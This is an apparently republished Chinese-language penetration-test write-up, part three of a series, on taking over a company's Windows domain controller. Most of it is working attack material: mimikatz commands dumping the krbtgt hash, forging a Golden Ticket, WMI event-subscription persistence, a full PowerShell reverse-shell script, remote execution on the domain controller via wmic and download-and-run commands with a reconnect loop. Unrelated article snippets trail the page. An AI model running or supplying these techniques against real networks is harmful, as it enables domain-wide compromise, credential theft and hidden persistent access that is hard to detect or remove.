公司智能手机安全(三)—— 瞄准域控制器与寻找Golden Ticket

公司智能手机安全(三)—— 瞄准域控制器与寻找Golden Ticket。在离开内部网络前,我们决定取得域控制器的哈希,特别是Kerberos账户(krbtgt),想要创建一个Golden Ticket*。

Golden Ticket是指伪造的TGT(Ticket Granting Ticket),同理Silver Ticket是伪造的TGS(Ticket Granting Server)

Golden Ticket攻击能够让我们创建离线的Kerberos TGT来进行未授权访问,并且伪造任何域用户。此外,它的有效期是十年,换言之只要它被创建了,即使域管理员的凭证发生了改变,也会有效。这是一个权限维持的极佳案例,不是吗?

为了实现这个任务,我们需要的有:

krbtgt哈希

域SID

用户名(这里是Administrator)

域名称(这里是SUPERCOMPANY)

以类似的方式(SRVWSUS上的端口转发,改良过的SMBExec等),我们目前在域控制器上拿到了一个新的本地管理员权限的Powershell。

我们执行了混淆过的mimikatz来获取活动目录用于数据,并将他们保存在hash.txt中:

invoke-mymy -command ‘privilege::debug “LSADump::LSA /inject”‘ > hash.txt

The mimikatz script was without the auto-invoke command at the end of the file. We exfiltrated the hash file to our web server. This was its content:

RID : 000001f6 (502)

User : krbtgt

* Primary

LM :

NTLM : 3003567af268a4aXXXXXXXXXXXXXXXXX

Using get-addomain cmdlet, which is automatically imported on Domain Controllers, we got the domain SID:

PS C:\test> get-addomain

AllowedDNSSuffixes : {}

ChildDomains : {}

ComputersContainer : CN=Computers,DC=supercompany,DC=local

DeletedObjectsContainer : CN=Deleted Objects,DC=supercompany,DC=local

DistinguishedName : DC=supercompany,DC=local

DNSRoot : supercompany.local

DomainControllersContainer : OU=Domain

Controllers,DC=supercompany,DC=local

DomainMode : Windows2012R2Domain

DomainSID : S-1-5-21-3534665177-2148510708-2241433719

注意:我们可以从由mimikatz获得的管理员(其uid = 500)获取域SID:

S-1-5-21-3534665177-2148510708-2241433719-500

现在是时候创建我们的Golden Ticket了

invoke-mymy -command ‘”privilege::debug” “Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb”‘

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # privilege::debug

Privilege ’20’ OK

mimikatz(powershell) # Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb

User : Administrator

Domain : supercompany.LOCAL (SUPERCOMPANY)

SID : S-1-5-21-3534665177-2148510708-2241433719

User Id : 500

Groups Id : *513 512 520 518 519

ServiceKey: 3003567af268a4a94e26f410e84353f1 – rc4_hmac_nt

Lifetime : 2/17/2017 4:02:10 PM ; 2/17/2027 4:02:10 PM ; 3/3/2027 4:02:10 PM

-> Ticket : admin.krb

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

最后将Ticket存到文件中就好了,在这之后,我们挑出admin.krb文件,之后会用到。

权限维持

在离开系统之前,我们必须设置一个能够维持对暴露在公网的服务器访问的方法,以供日后使用。在这一步,不被发现并不容易,即使是新手系统管理员也会发现一些端倪。

我们选择了一个机遇WMI特性的更加复杂的方法,利用了InstanceModificationEvent。

在一个WMI对象实例改变了它的寄存器时,它都是作为一个InstanceModificationEvent。在这样的条件下,我们过滤了事件系统启动时间,在系统启动200到300秒之内,我们将为eventconsumer提供一个commandlineeventconsumer。

在SRVWSUS这台服务器上,我们发送了以下命令:

$filterName = “JustForTestFilter”

$consumerName = “JustForTestConsumer”

$exePath = “C:\windows\help\windows\indexstore\r.bat”

$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “root\subscription” -Arguments @{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace “root\subscription” -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

然后再windows隐藏的文件夹里,创建了r.bat,内容如下:

powershell -executionpolicy bypass -windowstyle hidden -f C:\windows\help\windows\indexstore\r.ps1

而r.ps1文件的内容是:

$c=New-Object System.Net.Sockets.TCPClient(‘’,443);

$s=$c.GetStream();[byte[]]$b=0..65535|%{0};

while(($i=$s.Read($b,0,$b.Length))-ne 0){;

$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);

$sb=(IEX $data 2>&1 | Out-String );

$sb2=$sb+’PS ‘+(pwd).Path + ‘> ‘;

$sb=([text.encoding]::ASCII).GetBytes($sb2);

$s.Write($sb,0,$sb.Length);

$s.Flush()};

$c.Close()”

这将保证它在重新启动时通过SRVWSUS执行本地SYSTEM权限的远程shell。

最后,我们测试了我们拿到的Golden Ticket,还记得admin.krb这个文件吗?

通过SRVWSUS本地系统管理员权限的shell,我们下载了admin.krb,配置了端口转发,并将带有回连指令的脚本r3.ps1上传到SRVWSUS的9000端口。

现在我们在session中加载Ticket:

PS C:\tmp>Invoke-mymy -command ‘”kerberos::ptt admin.krb”‘

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # kerberos::ptt admin.krb

* File: ‘admin.krb’: OK

Using klist it is possible to list our loaded Kerberos tokens:

PS C:\tmp> klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0> Client: Administrator @ supercompany.LOCAL

Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent

Start Time: 2/17/2017 1:02:10 (local)

End Time: 2/17/2027 1:02:10 (local)

Renew Time: 2/18/2027 1:02:10 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: 0x1 -> PRIMARY

Kdc Called:

成功了,Ticket成功加载了!

对于下一个操作,我们使用Windows wmic.exe实用程序,它是一个WMI的命令行接口程序,允许通过Kerberos凭证来访问远程系统。

我们在域控制器上复制了r3.ps1,没有任何问题,只需将管理员的Ticket加载到我们的会话中!

PS C:\tmp>copy c:\tmp\r3.ps1 \\SRVDC1\C$\windows\temp\r3.ps1″

然后运行:

PS C:\tmp> wmic /authority:”kerberos:SUPERCOMPANY\SRVDC1″ /node:SRVDC1 process call create “powershell -executionpolicy bypass -windowstyle hidden -f c:\windows\temp\r3.ps1”

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of __PARAMETERS

{

ProcessId = 4528;

ReturnValue = 0;

};

我们叉着手等了一会,在我们的电脑上就看到了来自SRVDC1的shell:

PS C:\Windows\system32> whoami

supercompany\administrator

即使Administrator的密码变了,这种手段也会奏效。

关于Golden Ticket的潜在危险,我有几句话要说:

发现伪造的Kerberos Tickets非常困难(https://adsecurity.org/?p=1515 )

在有证据的情况下,唯一的方法就是重置krbtg密码两次,但这可能会对Active Directory Infrastructure造成严重影响

最后要做的

还记得我们是怎么在SRVWSUS获得第一个powershell远程shell的吗?

我们从企业内部网络的服务器执行了一个远程命令,通过安卓手机的Meterpreter转发这个连接。要是我们失去了Powershell的远程shell,并且再也没有连接到受害者怎么办?Game Over...

我们需要添加对SRVWSUS shell的持久访问权!

怎么做呢?答案是通过从Tomcat的webshell添加访问SRVWSUS的功能:

# 1st smbexec command:

IEX (New-Object Net.WebClient).DownloadFile(`’http:///r1.ps1`’,

`’c:\tmp\r1.ps1`’)

# 2nd smbexec command:

IEX (New-Object Net.WebClient).DownloadFile(`’http:///r1.bat`’,

`’c:\tmp\r1.bat`’)

# 3rd smbexec command:

‘cmd /c c:\tmp\r1.bat’

What does r1.bat contain?

@echo off

:loop

powershell -executionpolicy bypass -windowstyle hidden -f c:\tmp\r.ps1

timeout /t 10

goto loop

虽不优雅,但是有效。一旦丢失了连接,等待十秒钟就会重新回连。

我们当然可以加密混淆所有的.ps1脚本,但我们就是想给你展示它的原理。

结论

这就是我们的工作,并没有发明什么新的东西,但是使用Windows内置的功能和一些脚本,我们做了件大事。有时候我们并不需要什么魔法一样的工具,只需要K.I.S.S.原则。

时间: 2024-10-24 18:07:08

公司智能手机安全(三)—— 瞄准域控制器与寻找Golden Ticket的相关文章

公司智能手机安全(一)——从APK到Golden Ticket:初步探测

公司智能手机安全(一)--从APK到Golden Ticket:初步探测,从一台Android智能手机,获取域管理员权限,甚至更多- 本文介绍了在企业网络中使用个人智能手机的潜在危险,在现实案例发生之后,这些案例被作为了典型.事实证明,欺骗一名员工安装恶意应用程序.绕过网络保护.访问企业网络.提权并获取保密信息并不困难. 此外,事实证明了在不被发现的情况下绕过所有的防护机制(包括反病毒软件)是可能的.攻击者可以通过使用一些系统自带的工具和能够公开访问到的脚本来实现绕过,而不需要太过于依赖外部工具

领先的模拟IC公司要做到三个Great!

大者恒大的故事在半导体市场不断演绎着,尤其是近两年当全球的半导体处于低谷期时,两个老大英特尔与德州仪器却不断上演着收购的故事.前者是数字IC领域巨鳄,做"大"是不变的定律;然而后者正在由数字向模拟/混合IC转型,对于模拟IC公司是否要做大,业界尚没有一个定论,TI的不断收购与壮大是要给业界一个明确的定论吗? "但是,我们认为领先的模拟IC公司要做到三个Great!"借日前德州仪器在华二十五周年庆典之际,TI CEO Rich Templeton诠释了TI近年来系列重

盘点全球最热十家大数据公司中国占三席

文章讲的是盘点全球最热十家大数据公司中国占三席,近两年来,大数据发展浪潮席卷全球.研究机构IDC预测,全球大数据与分析市场规模将由2015年的1220亿美元,在5年间成长超过50%,并在2019年底达到1870亿美元的规模.资本也敏锐地追逐着高增长市场.数据显示,美国在2013年大数据领域的新创公司就获得了36亿美金(200多亿人民币)的投资,硅谷大数据公司Palantir更是获得高达200亿美金的估值. 对于被大数据概念包围的人们来说,理解大数据趋势和价值的最有效的办法就是了解最优秀的大数据创

盘点全球最热门十家大数据公司中国占据三席

近两年来,大数据发展浪潮席卷全球.研究机构IDC预测,全球大数据与分析市场规模将由2015年的1220亿美元,在5年间成长超过50%,并在2019年底达到1870亿美元的规模.资本也敏锐地追逐着高增长市场.数据显示,美国在2013年大数据领域的新创公司就获得了36亿美金(200多亿人民币)的投资,硅谷大数据公司Palantir更是获得高达200亿美金的估值. 对于被大数据概念包围的人们来说,理解大数据趋势和价值的最有效的办法就是了解最优秀的大数据创业公司.接下来我们就来盘点全球最热门的十家大数据

公司智能手机安全(二)——瞄准WSUS服务器

公司智能手机安全(二)--瞄准WSUS服务器.经过扫描发现,有两台主机能够满足我们的需求,给我们发送一个稳定的远程shell.他们分别是WSUS(Windows更新服务器)和Antivirus(反病毒相关服务器),因为这些服务必须有Internet访问权限才能更新数据库,让我们从第一个开始. 有一个有趣的问题,本地管理员的NTLM哈希是否足以访问此服务器呢?也许我们的答案是肯定的. 在一家公司,所有服务器都使用相同的本地管理员密码其实很常见.这常常与第一次创建服务器有关系(非最佳实践),第一次被

美国电子艺术公司公布第三财季营收报告

2月9日消息,据国外媒体报道,2月8日美国艺电(Electronic Arts,NASDAQ:ERTS,以下简称艺电)公布第三财季营收报告.营收报告结果显示,艺电第三财季营收同比出现下滑,这表明艺电曾做出的成本削减和裁员的举措并未阻止公司营收继续下滑. 艺电目前已推出的游戏产品包括"Madden"游戏系列和<质量效应2>(Mass Effect 2).艺电2月8日宣称,尽管在第三财季期间公司游戏销售出现下滑,但仍然在净亏损方面同比相对缩减.和去年同期相比,部分游戏项目营收同

女子报复丈夫偷情向IT公司群发小三艳照

本报讯(记者 林红 实习生 芦扬)中关村多家公司员工日前收到一份有数十张性爱照片的邮件.女主角是一名80后IT白领,发件人称为报复其和自己的高管丈夫偷情. 律师表示,若发邮件者群发人数在15人以上,则属犯罪."小三"若不涉及重婚,只需要负"道德责任". 艳照事件 为报复 和"小三"成了"朋友" 邮件里有许多暴露三点.不堪入目的性爱照片,还有"小三"的真实姓名.手机号码.MSN.住址等大量个人信息.邮件中称,

STT GDC公司完成塔塔公司在新加坡三个数据中心的资产收购

日前,新科电信媒体国际数据中心(STT GDC)完成了印度塔塔通信公司在新加坡的三个托管数据中心资产的收购.在不到一年的时间内,使其在新加坡数据中心的总数达到了五个. 这笔交易是其收购交易的第二阶段,STTGDC公司在印度和新加坡收购购买塔塔的数据中心,这将占到塔塔公司数据中心资产的74%,塔塔公司将继续对销售服务进行管理.新加坡数据中心设施将共同确定名称为"STT Tai Seng",其中两个位于新加坡东部的Tai Seng,一个位于新加坡西部的Ju rong. STTGDC公司在新

IPO首发公司应符合三项标准

荆楚网消息 (楚天都市报) 接近监管机构的人士透露,首家公司有试点意味,利用首家公司IPO验证新股发行制度改革后的效果,是监管机构重点考虑的因素.该人士认为,首家公司应该具备几个条件: 第一,首发公司的发行规模要适中,规模太小没有验证的意义,规模太大也没有必要: 第二,从行业角度看,要选择周期性波动不会太大的公司,这样公司的业绩较为稳定: 第三,首发公司的行业要有一些同类可比公司,以便在定价估值时有很好的参照,这样才能验证新股发行制度定价规则是否有效.(财经网)